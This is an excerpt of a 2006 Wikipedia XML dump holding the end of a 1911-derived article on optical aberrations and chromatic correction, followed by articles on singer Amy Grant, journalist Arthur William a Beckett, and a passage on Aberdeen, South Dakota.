:'''(2)''' The condition for freedom from coma in the third order is also of importance for telescope objectives; it is known as ''[[Joseph von Fraunhofer|Fraunhofer]]'s condition.'' (4) After eliminating the aberration On the axis, coma and astigmatism, the relation for the flatness of the field in the third order is expressed by the ''[[Jozef Maximilián Petzval|Petzval]] equation,'' S1/r(n'-n) = 0, where r is the radius of a refracting surface, n and n' the refractive indices of the neighbouring media, and S the sign of summation for all refracting surfaces.

==Practical elimination of aberrations==

As [[James Clerk Maxwell|Maxwell]] already claimed in [[1858]], there is no optical system, which reproduces absolutely a finite 
plane on another with pencils of finite aperture. A strict and general proof was given [[1926]] by [[Constantin Carathéodory|Carathéodory]].

But practical systems solve this problem with an accuracy which mostly suffices for the special purpose of each species of instrument.  The problem of finding a system which reproduces a given object upon a given plane with given magnification (in so far as aberrations must be taken into account) could be dealt with by means of the approximation theory; in most cases, however, the analytical difficulties were too great for older calculation methods but may be ameliorated by application of modern computer systems.  Solutions, however, have been obtained in special cases (see A. Konig in M. von Rohr's ''Die Bilderzeugung'', p. 373; K. Schwarzschild, Gottingen.  Akad. Abhandl., [[1905]], 4, Nos. 2 and 3). At the present time constructors almost always employ the inverse method: they compose a system from certain, often quite personal experiences, and test, by the trigonometrical calculation of the paths of several rays, whether the system gives the desired reproduction (examples are given in A. Gleichen, ''Lehrbuch der geometrischen Optik'', Leipzig and Berlin, [[1902]]).  The radii, thicknesses and distances are continually altered until the errors of the image become sufficiently small.  By this method only certain errors of reproduction are investigated, especially individual members, or all, of those named above.  The analytical approximation theory is often employed provisionally, since its accuracy does not generally suffice. 

In order to render spherical aberration and the deviation from the sine condition small throughout the whole aperture, there is given to a ray with a finite angle of aperture u* (width infinitely distant objects: with a finite height of incidence h*) the same distance of intersection, and the same sine ratio as to one neighbouring the axis (u* or h* may not be much smaller than the largest aperture U or H to be used in the system).  The rays with an angle of aperture smaller than u* would not have the same distance of intersection and the same sine ratio; these deviations are called ''zones,'' and the constructor endeavours to reduce these to a minimum.  The same holds for the errors depending upon the angle of the field of view, w: astigmatism, curvature of field and distortion are eliminated for a definite value, w*, ''zones of astigmatism, curvature of field and distortion,'' attend smaller values of w.  The practical optician names such systems: ''corrected for the angle of aperture u* (the height of incidence h*) or the angle of field of view w*.'' Spherical aberration and changes of the sine ratios are often represented graphically as functions of the aperture, in the same way as the deviations of two astigmatic image surfaces of the image plane of the axis point are represented as functions of the angles of the field of view. 

The final form of a practical system consequently rests on compromise; enlargement of the aperture results in a diminution of the available field of view, and vice versa. But the larger aperture will give the larger resolution . The following may be regarded as typical:

:(1) Largest aperture; necessary corrections are -- for the axis point, and sine condition; errors of the field of view are almost disregarded; example -- high-power microscope objectives. 

:(2) [[Wide angle lens|Largest field of view]]; necessary corrections are -- for astigmatism, curvature of field and distortion; errors of the aperture only slightly regarded; examples -- photographic widest angle objectives and oculars.  

:Between these extreme examples stands the ordinary photographic objective: the [[portrait objective]] is corrected more with regard to aperture; objectives for groups more with regard to the field of view. 

:(3) [[Telephoto lens|Telescope objectives]] have small fields of view and aberrations on axis
are very important.Therefore zones will be kept as small as possible and design should emphasize simplicity.Because of this these lenses are the best for analytical computation.

==Chromatic or colour aberration==

In optical systems composed of lenses, the position, magnitude and errors of the image depend upon the refractive indices of the glass employed (see [[Lens (optics)]], and above, ''Monochromatic Aberration'').  Since the index of refraction varies with the colour or wavelength of the light (see [[dispersion (optics)|dispersion]]), it follows that a system of lenses (uncorrected) projects images of different colours in somewhat different places and sizes and with different aberrations; i.e. there are ''chromatic differences'' of the distances of intersection, of magnifications, and of monochromatic aberrations.  If mixed light be employed (e.g. white light) all these images are formed; and since they are all ultimately intercepted by a plane (the retina of the eye, a focussing screen of a camera, etc.), they cause a confusion, named chromatic aberration; for instance, instead of a white margin on a dark background, there is perceived a coloured margin, or narrow spectrum.  The absence of this error is termed achromatism, and an optical system so corrected is termed achromatic.  A system is said to be ''chromatically under-corrected'' when it shows the same kind of chromatic error as a thin positive lens, otherwise it is said to be ''over-corrected.'' 

If, in the first place, monochromatic aberrations be neglected -- in other words, the Gaussian theory be accepted -- then every reproduction is determined by the positions of the focal planes, and the magnitude of the focal lengths, or if the focal lengths, as ordinarily happens, be equal, by three constants of reproduction.  These constants are determined by the data of the system (radii, thicknesses, distances, indices, &amp;c., of the lenses); therefore their dependence on the refractive index, and consequently on the colour, are calculable (the formulae are given in Czapski-Eppenstein, ''Grundzuge der Theorie der optischen Instrumente'' (1903, p. 166).  The refractive indices for different wavelengths must be known for each kind of glass made use of.  In this manner the conditions are maintained that any one constant of reproduction is equal for two different colours, i.e. this constant is achromatized.  For example, it is possible, with one thick lens in air, to achromatize the position of a focal plane of the magnitude of the focal length.  If all three constants of reproduction be achromatized, then the Gaussian image for all distances of objects is the same for the two colours, and the system is said to be in ''stable achromatism.'' 

In practice it is more advantageous (after Abbe) to determine the chromatic aberration (for instance, that of the distance of intersection) for a fixed position of the object, and express it by a sum in which each component conlins the amount due to each refracting surface (see Czapski-Eppenstein, op. cit. p. 170; A. Konig in M. v. Rohr's collection, ''Die Bilderzeugung'', p. 340).  In a plane containing the image point of one colour, another colour produces a disk of confusion; this is similar to the confusion caused by two ''zones'' in spherical aberration.  For infinitely distant objects the radius Of the chromatic disk of confusion is proportional to the linear aperture, and independent of the focal length (''vide supra'', ''Monochromatic Aberration of the Axis Point''); and since this disk becomes the less harmful with an increasing image of a given object, or with increasing focal length, it follows that the deterioration of the image is proportional to the ratio of the aperture to the focal length, i.e. the ''relative aperture.'' (This explains the gigantic focal lengths in vogue before the discovery of achromatism.) 

Examples:
:'''(a)''' In a very thin lens, in air, only one constant of reproduction is to be observed, since the focal length and the distance of the focal point are equal.  If the refractive index for one colour be n, and for another n+dn, and the powers, or reciprocals of the focal lengths, be f and f + df, then (1) df/f = dn/(n-1) = 1/n; dn is called the dispersion, and n the dispersive power of the glass. 

:'''(b)''' Two thin lenses in contact: let f1 and f2 be the powers corresponding to the lenses of refractive indices n1 and n2 and radii r'1, r&quot;1, and r'2, r&quot;2 respectively; let f denote the total power, and df, dn1, dn2 the changes of f, n1, and n2 with the colour.  Then the following relations hold: -- 

::(2) f = f1-f2== (n1 - 1)(1/r'1-1/r''1) +(n2-1)(1/r'2 - 1/r''2) = (n1 - 1)k1 + (n2 - 1)k2; and 

::(3) df = k1dn1 + k2dn2.  For achromatism df = 0, hence, from (3), 

::(4) k1/k2 = -dn2 / dn1, or f1/f2 = -n1/n2.  Therefore f1 and f2 must have different algebraic signs, or the system must be composed of a collective and a dispersive lens.  Consequently the powers of the two must be different (in order that f be not zero (equation 2)), and the dispersive powers must also be different (according to 4). 

Newton failed to perceive the existence of media of different dispersive powers required by achromatism; consequently he constructed large reflectors instead of refractors.  James Gregory and Leonhard Euler arrived at the correct view from a false conception of the achromatism of the eye; this was determined by Chester More Hall in 1728, Klingenstierna in 1754 and by Dollond in 1757, who constructed the celebrated achromatic telescopes. (See [[telescope]].) 

Glass with weaker dispersive power (greater v) is named ''[[Crown glass (optics)|crown glass]]''; that with greater dispersive power, ''[[flint glass]]''. For the construction of an achromatic collective lens (f positive) it follows, by means of equation (4), that a collective lens I. of crown glass and a dispersive lens II. of flint glass must be chosen; the latter, although the weaker, corrects the other chromatically by its greater dispersive power.  For an achromatic dispersive lens the converse must be adopted.  This is, at the present day, the ordinary type, e.g., of telescope objective (fig. 10); the values of the four radii must satisfy the equations (2) and (4). Two other conditions may also be postulated: one is always the elimination of the aberration on the axis; the second either the ''Herschel'' or ''Fraunhofer Condition,'' the latter being the best vide supra, ''Monochromatic Aberration'').  In practice, however, it is often more useful to avoid the second condition by making the lenses have contact, i.e. equal radii.  According to P. Rudolph (Eder's Jahrb. f.  Photog., 1891, 5, p. 225; 1893, 7, p. 221), cemented objectives of thin lenses permit the elimination of spherical aberration on the axis, if, as above, the collective lens has a smaller refractive index; on the other hand, they permit the elimination of astigmatism and curvature of the field, if the collective lens has a greater refractive index (this follows from the Petzval equation; see L. Seidel, Astr.  Nachr., 1856, p. 289).  Should the cemented system be positive, then the more powerful lens must be positive; and, according to (4), to the greater power belongs the weaker dispersive power (greater v), that is to say, clown glass; consequently the crown glass must have the greater refractive index for astigmatic and plane images.  In all earlidr kinds of glass, however, the dispersive power increased with the refractive index; that is, v decreased as n increased; but some of the Jena glasses by E. Abbe and O. Schott were crown glasses of high refractive index, and achromatic systems from such crown glasses, with flint glasses of lower refractive index, are called the ''new achromats,'' and were employed by P. Rudolph in the first ''anastigmats'' (photographic objectives). 

Instead of making df vanish, a certain value can be assigned to it which will produce, by the addition of the two lenses, any desired chromatic deviation, e.g. sufficient to eliminate one present in other parts of the system.  If the lenses I. and II. be cemented and have the same refractive index for one colour, then its effect for that one colour is that of a lens of one piece; by such decomposition of a lens it can be made chromatic or achromatic at will, without altering its spherical effect.  If its chromatic effect (df/f) be greater than that of the same lens, this being made of the more dispersive of the two glasses employed, it is termed ''hyper-chromatic.'' 

For two thin lenses separated by a distance D the condition for achromatism is D = v1f1+v2f2; if v1=v2 (e.g. if the lenses be made of the same glass), this reduces to D= 1/2 (f1+f2), known as the ''condition for oculars.'' 

If a constant of reproduction, for instance the focal length, be made equal for two colours, then it is not the same for other colours, if two different glasses are employed.  For example, the condition for achromatism (4) for two thin lenses in contact is fulfilled in only one part of the spectrum, since dn2/dn1 varies within the spectrum.  This fact was first ascertained by J. Fraunhofer, who defined the colours by means of the dark lines in the solar spectrum; and showed that the ratio of the dispersion of two glasses varied about 20% from the red to the violet (the variation for glass and water is about 50%).  If, therefore, for two colours, a and b, fa = fb = f, then for a third colour, c, the focal length is different; that is, if c lies between a and b, then fc&lt;f, and vice versa; these algebraic results follow from the fact that towards the red the dispersion of the positive crown glass preponderates, towards the violet that of the negative flint.  These chromatic errors of systems, which are achromatic for two colours, are called the ''secondary spectrum,'' and depend upon the aperture and focal length in the same manner as the primary chromatid errors do. 

In fig. 11, taken from M. von Rohr,s ''Theorie und Geschichte des photographischen Objectivs'', the abscissae are focal lengths, and the ordinates wave-lengths; of the latter the Fraunhofer lines used are-- 

  A'       C      D   Green Hg.   F    G'    Violet Hg. 767.7  656.3  589.3   546.1    486.2 454.1  405.1 mm, 

[[Image:ABERR6rev.png|left|]]

and the focal lengths are made equal for the lines C and F. In the neighbourhood of 550 mm the tangent to the curve is parallel to the axis of wave-lengths; and the focal length varies least over a fairly large range of colour, therefore in this neighbourhood the colour union is at its best.  Moreover, this region of the spectrum is that which appears brightest to the human eye, and consequently this curve of the secondary on spectrum, obtained by making fc = fF, is, according to the experiments of Sir G. G. Stokes (Proc.  Roy. Soc., [[1878]]), the most suitable for visual instruments (''optical achromatism,'').  In a similar manner, for systems used in photography, the vertex of the colour curve must be placed in the position of the maximum sensibility of the plates; this is generally supposed to be at G'; and to accomplish this the F and violet mercury lines are united.  This artifice is specially adopted in objectives for astronomical photography (''pure actinic achromatism'').  For ordinary photography, however, there is this disadvantage: the image on the focussing-screen and the correct adjustment of the photographic sensitive plate are not in register; in astronomical photography this difference is constant, but in other kinds it depends on the distance of the objects.  On this account the lines D and G' are united for ordinary photographic objectives; the optical as well as the actinic image is chromatically inferior, but both lie in the same place; and consequently the best correction lies in F (this is known as the ''actinic correction'' or ''freedom from chemical focus''). 

Should there be in two lenses in contact the same focal lengths for three colours a, b, and c, i.e. fa = fb = fc = f, then the relative partial dispersion (nc-nb) (na-nb) must be equal for the two kinds of glass employed.  This follows by considering equation (4) for the two pairs of colours ac and bc. Until recently no glasses were known with a proportionap degree of absorption; but R. Blair (Trans. Edin. Soc., 1791, 3, p. 3), P. Barlow, and F. S. Archer overcame the difficulty by constructing fluid lenses between glass walls.  Fraunhofer prepared glasses which reduced the secondary spectrum; but permanent success was only assured on the introduction of the Jena glasses by E. Abbe and O. Schott.  In using glasses not having proportional dispersion, the deviation of a third colour can be eliminated by two lenses, if an interval be allowed between them; or by three lenses in contact, which may not all consist of the old glasses.  In uniting three colours an ''achromatism of a higher order'' is derived; there is yet a residual ''tertiary spectrum,'' but it can always be neglected. 

The Gaussian theory is only an approximation; monochromatic or spherical aberrations still occur, which will be different for different colours; and should they be compensated for one colour, the image of another colour would prove disturbing.  The most important is the chromatic difference of aberration of the axis point, which is still present to disturb the image, after par-axial rays of different colours are united by an appropriate combination of glasses.  If a collective system be corrected for the axis point for a definite wave-length, then, on account of the greater dispersion in the negative components -- the flint glasses, -- over-correction will arise for the shorter wavelengths (this being the error of the negative components), and under-correction for the longer wave-lengths (the error of crown glass lenses preponderating in the red).  This error was treated by Jean le Rond d'Alembert, and, in special detail, by C. F. Gauss.  It increases rapidly with the aperture, and is more important with medium apertures than the secondary spectrum of par-axial rays; consequently, spherical aberration must be elliminated for two colours, and if this be impossible, then it must be eliminated for those particular wave-lengths which are most effectual for the instrument in question (a graphical representation of this error is given in M. von Rohr, ''Theorie und Geschichte des photographischen Objectivs''). 

The condition for the reproduction of a surface element in the place of a sharply reproduced point -- the constant of the sine relationship must also be fulfilled with large apertures for several colours.  E. Abbe succeeded in computing microscope objectives free from error of the axis point and satisfying the sine condition for several colours, which therefore, according to his definition, were ''aplanatic for several colours''; such systems he termed ''[[apochromatic]]''.  While, however, the magnification of the individual zones is the same, it is not the same for red as for blue; and there is a chromatic difference of magnification.  This is produced in the same amount, but in the opposite sense, by the oculars, which Abbe used with these objectives (''compensating oculars''), so that it is eliminated in the image of the whole microscope.  The best telescope objectives, and photographic objectives intended for three-colour work, are also apochromatic, even if they do not possess quite the same quality of correction as microscope objectives do.  The chromatic differences of other errors of reproduction have seldom practical importances. 

--&lt;br /&gt;
&lt;sup&gt;1&lt;/sup&gt; The investigations of [[Ernst Abbe]] on geometrical optics, originally published only in his university lectures, were first compiled by S. Czapski in 1893.  See below, Authorities.

==Authorities.==

The classical treatise in English is H. D. Taylor, ''A System of Applied Optics'' (1906); reference may also be made to R. S. Heath, ''A Treatise on Geometrical Optics'' (2nd ed., 1895); and L A. Herman, ''A Treatise on Geometrical Optics'' (1900). The ideas of Abbe were first dealt with in S. Czapski, ''Theorie der optischen Instrumente nach Abbe'', published separately at Breslau in 1893, and as vol. ii. of Winkelmann's ''Handbuch der Physik'' in 1894; a second edition, by Czapski and O. Eppenstein, was published at Leipzig in 1903 with the title, ''Grundzuge der Theorie der optischen Instrumente nach Abbe'', and in vol. ii. of the 2nd ed. of Winkelmann's ''Handbuch der Physik''. The collection of the scientific staff of [[Carl Zeiss]] at [[Jena]], edited by M. von Rohr, ''Die bilderzeugung in optischen Instrumenten vom Standpunkte der geometrischen Optik'' (Berlin, 1904), contains articles by A. Konig and M. von Rohr specially dealing with aberrations. (O. E.)

==References==
{{1911}}

[[Category:Optics]]

[[ca:Aberració]]
[[de:Abbildungsfehler]]
[[eo:Aberacio (optiko)]]
[[it:Aberrazione ottica]]
[[nl:Sferische aberratie]]
[[pl:Aberracja optyczna]]
[[ru:Аберрации объектива]]
[[vi:Quang sai]]
[[tr:Sapınç]]</text>
    </revision>
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  <page>
    <title>Amy Grant</title>
    <id>2705</id>
    <revision>
      <id>40972958</id>
      <timestamp>2006-02-24T05:14:36Z</timestamp>
      <contributor>
        <username>Tjlatwork</username>
        <id>983491</id>
      </contributor>
      <comment>/* Career */</comment>
      <text xml:space="preserve">'''Amy Lee Grant''' (born [[November 25]], [[1960]] in [[Augusta, Georgia]]) is an [[United States|American]] [[singer]]-[[songwriter]] whose [[music]] has strong [[Christianity|Christian]] themes.  She was initially most successful in the [[Contemporary Christian music]] genre, and is notable for being one of the first CCM artists to have successfully crossed over into the mainstream pop music market. She has won multiple [[Grammy Award|Grammy]] and [[Dove Award|Dove]] awards and was elected to the [[Gospel Music Hall of Fame]] in [[2003]]. To date she has 5 [[gold album|gold]] and 6 [[platinum album|platinum]] albums.

==Career==
Signed to a record company at the age of sixteen, Grant's first, self-titled [[Amy Grant (album)|album]] (largely self-composed) in [[1977]], was a runaway success in terms of the Christian music market of the time. A graduate of [[Harpeth Hall School]] and then an [[English language|English]] major at [[Vanderbilt University]], Grant made a few more albums before dropping out of college to pursue a career in music. These albums included [[1979]]'s ''[[My Father's Eyes]]'' (the title track written by Grant's future first husband, singer-songwriter [[Gary Chapman]]) and ''[[Never Alone]]'' in [[1980]].

The year [[1982]] marked a turning point in both Grant's career and personal life. After marrying Chapman in June, her album ''[[Age to Age]]'' forced critics to sit up and take notice. The breakthrough album contained the now signature track, &quot;El Shaddai&quot; and the Grant-Chapman penned song, &quot;In A Little While.&quot; She was now a star. Grant received her first [[Grammy Award]] for Best Contemporary Gospel Performance, as well two [[Dove Awards]] for Gospel Artist of the Year and Pop/Contemporary Album of the Year.

Grant followed up this album with the first of her Christmas albums - albums that later would be the basis for her trademark holiday shows. [[1984]] saw the release of another pop-oriented Christian hit, ''[[Straight Ahead (Amy Grant album)|Straight Ahead]],'' earning Grant her first appearance at the Grammy Awards show.

Hardly had Grant established herself as the &quot;Queen of Christian Pop&quot;, however, when she changed directions to widen her fan base (and hence her musical message). Her goal was to become the first Christian singer-songwriter who was also successful as a contemporary pop singer, being successful in both genres.  [[1985]]'s ''[[Unguarded]]'' shocked some fans for its very mainstream sound (and Grant's leopard-print jacket, in four poses for four different covers). &quot;Find a Way,&quot; from ''Unguarded'', became the first Christian song to hit [[The Billboard Hot 100|Billboard's Top 40]] list, also reaching #7 on the Adult Contemporary chart. Amy Grant scored her first Billboard Number One hit in 1986 with &quot;The Next Time I Fall&quot;, a breezy duet with former [[Chicago (band)|Chicago]] singer/bassist [[Peter Cetera]].

[[1988]]'s ''[[Lead Me On]]'', released after Grant had become a mother and undergone considerable strain in her [[marriage]], is considered her most mature album, both lyrically and musically. This album, too, contained many songs that were still about Christianity and love relationships, but some interpreted it as not being an obviously &quot;Christian&quot; record; though the album's title track is now considered a CCM classic. (Years later, ''Lead Me On'' would be chosen as the greatest Contemporary Christian album of all time by ''[[CCM Magazine]]''.)This song talks about intense sufferings among people through racism, and that the comfort they seek, as their lives are threatened, is in their relationships with God. The track &quot;1974&quot; is clearly about young people experiencing the salvation of Christ for the first time; as the lyrics state, &quot;Quite a change, somewhere we had crossed a big line, down upon our knees we had tasted Holy wine and nothing could sway us in a lifetime.&quot; The mainstream song, &quot;Saved by Love&quot;, was a minor hit, receiving airplay on radio stations featuring newly emerging [[Adult Contemporary]] format. It gives a message of great love for family, affected by her greatest love for Jesus. &quot;Faithless Heart&quot; is an honest, heartfelt song about resisting inner temptations of infidelity. &quot;What About The Love?&quot; talks about the absence of faith in certain worldly things and the importance of resisting judgment of others. Other songs included were engaging love songs, including &quot;If These Walls Could Speak&quot;, which, like &quot;Saved By Love&quot;, includes a message about love of family and children. This was a deeply introspective album that she dedicated to one of her children, so that they could understand her at that time in her life. The album's fiery title song received some Top 40 airplay (including on WCZY-FM in Detroit) and crossed over to #96 on the Billboard Hot 100, and &quot;1974 (We Were Young)&quot; and &quot;Saved By Love&quot; also charted AC.  
 
Nevertheless, when ''[[Heart in Motion]]'' was released three years later, many fans were shocked and outraged that the album was so clearly one of contemporary [[pop music]]. The track &quot;Baby Baby&quot; (written for Grant's newborn daughter, Millie, whose &quot;six week old face was my inspiration&quot;), however, became a massive hit (hitting number 1 on the ''Billboard'' Hot 100 pop chart), and Grant was established as a name in the mainstream music world. The music video also created outrage in the industry, for she danced and flirted with a model ([[Jme Stein]]), not her husband.  When interviewed about it, she thought the song was more relatable to others when shown in a romantic light.  &quot;Baby Baby&quot; received Grammy nominations for Best Female Pop Vocal Performance and Record and Song of the Year (although it failed to win in any of those categories). Four other hits from the album made the pop top 20: &quot;Every Heartbeat&quot; (#2), &quot;That's What Love Is For&quot; (#7), &quot;Good For Me&quot; (#8), and &quot;I Will Remember You&quot; (#20).  On the AC chart, all five songs were top 10 hits with two of the five (&quot;Baby Baby&quot; and &quot;That's What Love Is For&quot;) making it all the way to #1.  Many Christian fans remained loyal, though, as the album also topped the Billboard's Contemporary Christian Chart for 32 weeks. ''Heart in Motion'' is her best-selling album, having sold over 5 million copies. Tracks like &quot;Hope Set High&quot; and &quot;Ask Me&quot; (the tale of an abused child who, as a grown woman, comes to terms with her past through her faith in God) were songs with clear religious messages.  

[[image:amygrant2.jpg|thumb|Amy Grant]]
''[[House of Love (album)|House of Love]]'' in [[1994]] continued in the same vein, boasting catchy pop songs mingled with spiritual lyrics. The album was a multi-platinum success and produced the minor pop hit &quot;Lucky One&quot; (#18 pop and #2 AC) as well as the title track (a duet with country music star, and Grant's future second husband, [[Vince Gill]]) (#37 pop) and a cover of Joni Mitchell's frequently-covered &quot;Big Yellow Taxi&quot; (#67 pop).  

In 1995, Amy was interviewed, pointing to [[Hootie &amp; The Blowfish]] and [[Sheryl Crow]], with their acoustic guitars and more rock-oriented music, and wondered what she was still doing on the pop side of things.  She knew she could bring her unique voice and songwriting skills to a different music genre.  

After covering the [[10cc]] song &quot;The Things We Do For Love&quot; for the Mr. Wrong soundtrack,[[1997]]'s ''[[Behind the Eyes]]'' was the answer to that question. BTE struck a much darker note, leaning more toward downtempo, acoustic soft-rock songs with more mature (yet still optimistic) lyrics (such as the radio hit &quot;Takes A Little Time&quot;).  She called it her &quot;razor blades and Prozac&quot; album.  Soon it became clear that Grant's marriage to Chapman was at an end. The two separated and [[divorce]]d in [[1999]], disappointing many Christian fans. In 2000 Grant married Vince Gill, who divorced country singer [[Janis Gill]] of [[Sweethearts of the Rodeo]]. 

After giving birth to fourth child Corinna Grant Gill, Grant returned to her [[gospel music]] roots with the [[2002]] release of ''[[Legacy... Hymns and Faith]]''. The album featured a Vince Gill-influenced mix of bluegrass and gospel and marked Grant's 25th anniversary in the music industry. Grant followed this up with the pop release ''[[Simple Things (Amy Grant album)|Simple Things]]'' in [[2003]]. The album did not see the success of her previous pop efforts, however. It was rumored that the pop album was held back for release after the hymns album, due to the controversy surrounding Grant's divorce from Chapman with Gill waiting in the wings. After their marriage, the two admitted having loved each other for a &quot;long time&quot;.  Grant argued that the timing of these album releases was changed because she and her second husband were expecting a child together.  On her website and in an interview on [[Lifetime Television]], she stated:  &quot;Then life happened.&quot;  Grant also stated that her record company threatened her with a lawsuit if she didn't finish Simple Things.  Not coincidentally, soon after [[Simple Things]], Amy and [[Interscope]]/A&amp;M parted ways.

Grant released a sequel to her [[hymns]] collection in 2005 titled ''[[Rock of Ages...Hymns and Faith|Rock of Ages]]''. Despite publicly musing that life would be easier if she weren't working, Grant joined the [[reality television]] phenomenon by hosting ''[[Three Wishes]]'', a show in which she and a team of helpers make wishes come true for small-town residents. The show debuted on [[NBC]] in the fall of 2005, but has since been cancelled.

After ''[[Three Wishes]]'' was cancelled, Grant won her 6th [[Grammy Award]] for [[Rock of Ages]], and announced the recording of a live CD/DVD in April 2006. 

In a February, 2006 webchat, Amy stated she believes her &quot;best music is still ahead.&quot;

Grant is a longstanding member of the [[Gospel Music Association]] (GMA), which annually presents the [[Dove Awards]] and maintains the [[Gospel Music Hall of Fame]].

==Discography==
* See the article [[Amy Grant discography]].

==See also==
*[[Best selling music artists]] - World's top-selling music artists chart.

==External links==
*[http://www.amygrant.com/ Official Amy Grant website]
*[http://www.onamrecords.com/gallery/Amy%20Grant Amy Grant's career on A&amp;M Records with gallery, international discography]
*[http://www.amy-grant.com/ German/English Amy Grant website]
*[http://www.amygrantchristmas.de/ Official Amy Grant Christmas website]
*[http://www.behindtheeyes.de/ Official Amy Grant Behind The Eyes website]
*[http://www.lyricsdir.com/amy-grant-lyrics.html Amy Grant Lyrics]
*[http://www.loudkaraoke.com/artist.asp?artist=Grant,%20Amy Amy Grant Karaoke]
*[http://www.amygrantfan.com/ Christopher's Amy Grant Site]

[[Category:1960 births|Grant, Amy]]
[[Category:Kappa Alpha Theta sisters|Grant, Amy]]
[[Category:Living people|Grant, Amy]]
[[Category:Christian musicians|Grant, Amy]]
[[Category:American female singers|Grant, Amy]]
[[Category:Amy Grant]]
[[Category:Pro-life celebrities|Grant, Amy]]

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    <title>Arthur William a Beckett</title>
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      <id>33701700</id>
      <timestamp>2006-01-03T07:10:15Z</timestamp>
      <contributor>
        <username>Steinsky</username>
        <id>15865</id>
      </contributor>
      <minor />
      <comment>rm bizarre out of place disambiguation link</comment>
      <text xml:space="preserve">'''Arthur William a Beckett''' ([[1844]]-[[January 14]], [[1909]]), English journalist and [[man of letters]].  A younger son of [[Gilbert Abbott à Beckett]] and brother of [[Gilbert Arthur a Beckett]], he was on the staff of ''[[Punch magazine|Punch]]'' from [[1874]] to [[1902]], and gave an account of his father and his own reminiscences in ''The A Becketts of Punch'' ([[1903]]).  He died in [[London]].


{{journalist-stub}}

[[Category:1844 births|Beckett, Arthur William a]]
[[Category:1909 deaths|Beckett, Arthur William a]]
[[Category:British journalists|Beckett, Arthur William a]]

[[sv:Arthur William A'Beckett]]</text>
    </revision>
  </page>
  <page>
    <title>Aberdeen, South Dakota</title>
    <id>2709</id>
    <revision>
      <id>41680028</id>
      <timestamp>2006-03-01T00:45:34Z</timestamp>
      <contributor>
        <username>H2O2</username>
        <id>971999</id>
      </contributor>
      <minor />
      <comment>/* Education */</comment>
      <text xml:space="preserve">{{Infobox City |official_name = Aberdeen, South Dakota
|image_skyline = DSCF0643.JPG
|image_flag = 
|image_seal = 
|image_map = SDMap-doton-Aberdeen.PNG
|map_caption = Location in [[South Dakota]]
|subdivision_type = [[Counties of the United States|County]] 
|subdivision_name = [[Brown County, South Dakota|Brown County]] 
|leader_title = [[Mayor]]
|leader_name =  Mike Levsen
|area_magnitude = 1 E9
|area_total = 13.0  mi&amp;sup2; /
|area_land = 12.9   mi&amp;sup2; /
|area_water = 0.1  mi&amp;sup2; /
|population_as_of = 2005
|population_note = 
|population_total =  24,658 
|timezone = [[Central Standard Time Zone|Central]] 
|utc_offset = -6
|timezone_DST = [[Central Standard Time Zone|Central]] 
|utc_offset_DST = -5
|region = 
|website = [http://www.aberdeen.sd.us/]
|footnotes = 
}}

'''Aberdeen''', a [[city]] and the [[county seat]] of [[Brown County, South Dakota|Brown County]], [[South Dakota]], [[United States|USA]], about 125 mi (200 km) N.E. of [[Pierre, South Dakota|Pierre]].  Settled in [[1880]], it was incorporated in [[1882]].  Pop. ([[1890]]) 3182; ([[1900]]) 4087, of whom 889 were foreign-born; ([[1905]]) 5841; ([[1910]]) 10,753.  As of the [[2000]] census, the city had a total population of 24,658.  

In [[1911]], Aberdeen was served by the [[Chicago, Milwaukee, and St. Paul Railroad|Chicago, Milwaukee and St Paul]], the [[Great Northern Railroad|Great Northern]], the [[Minneapolis and St. Louis Railroad|Minneapolis and St. Louis]], and the [[Chicago and North Western Railroad|Chicago and North Western]] railroads which contributed to Aberdeen's nickname, &quot;The Hub City&quot;.  It is the financial and trade center for the northern part of the state, a fine agricultural region, and in [[1908]] had five banks and a number of wholesale houses.  The city is the seat of [[Northern State University]], a state institution, founded in 1901, and has a [[Andrew Carnegie|Carnegie Library]]; the principal buildings are the court house and the government buildings.  [[Artesian aquifer|Artesian well]]s furnish good water-power, and artesian-well supplies, grain pitchers, brooms, chemicals and flour are manufactured.  The municipality owns and operates the water-works.  Aberdeen was settled in [[1880]], and was chartered as a city in [[1883]].

== Geography ==

Aberdeen is located at 45&amp;deg;27'49&quot; North, 98&amp;deg;28'53&quot; West (45.463708, -98.481291){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 33.7 [[square kilometre|km&amp;sup2;]] (13.0 [[square mile|mi&amp;sup2;]]).  33.6 km&amp;sup2; (13.0 mi&amp;sup2;) of it is land and 0.2 km&amp;sup2; (0.1 mi&amp;sup2;) of it is water.  The total area is 0.54% water.

Aberdeen has been assigned the [[ZIP code]] range 57401-57402, and the [[FIPS place code]] 00100.

== Demographics ==
As of the [[census]]{{GR|2}} of 2000, there are 24,658 people, 10,553 households, and 6,184 families residing in the city.  The [[population density]] is 734.6/km&amp;sup2; (1,902.1/mi&amp;sup2;).  There are 11,259 housing units at an average density of 335.4/km&amp;sup2; (868.5/mi&amp;sup2;).  The racial makeup of the city is 94.61% [[White (U.S. Census)|White]], 0.37% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 3.17% [[Native American (U.S. Census)|Native American]], 0.54% [[Asian (U.S. Census)|Asian]], 0.13% [[Pacific Islander (U.S. Census)|Pacific Islander]], 0.19% from [[Race (U.S. Census)|other races]], and 0.99% from two or more races.  0.79% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 10,553 households out of which 27.3% have children under the age of 18 living with them, 47.0% are [[Marriage|married couples]] living together, 8.9% have a female householder with no husband present, and 41.4% are non-families. 34.9% of all households are made up of individuals and 13.6% have someone living alone who is 65 years of age or older.  The average household size is 2.21 and the average family size is 2.86.

In the city the population is spread out with 21.8% under the age of 18, 14.1% from 18 to 24, 26.4% from 25 to 44, 20.4% from 45 to 64, and 17.2% who are 65 years of age or older.  The median age is 36 years.  For every 100 females there are 89.2 males.  For every 100 females age 18 and over, there are 85.3 males.

The median income for a household in the city is $33,276, and the median income for a family is $43,882. Males have a median income of $30,355 versus $20,092 for females. The [[per capita income]] for the city is $17,923.  10.5% of the population and 7.6% of families are below the [[poverty line]].  Out of the total population, 10.6% of those under the age of 18 and 10.1% of those 65 and older are living below the poverty line.

{{1911}}

==Education==
Aberdeen is home to several high schools, including: Aberdeen Central High School (Public), Aberdeen Christian High School, and Roncalli High school (Catholic).
[[Image:CHS.JPG|left|180px|The new Aberdeen Central High School.]]  

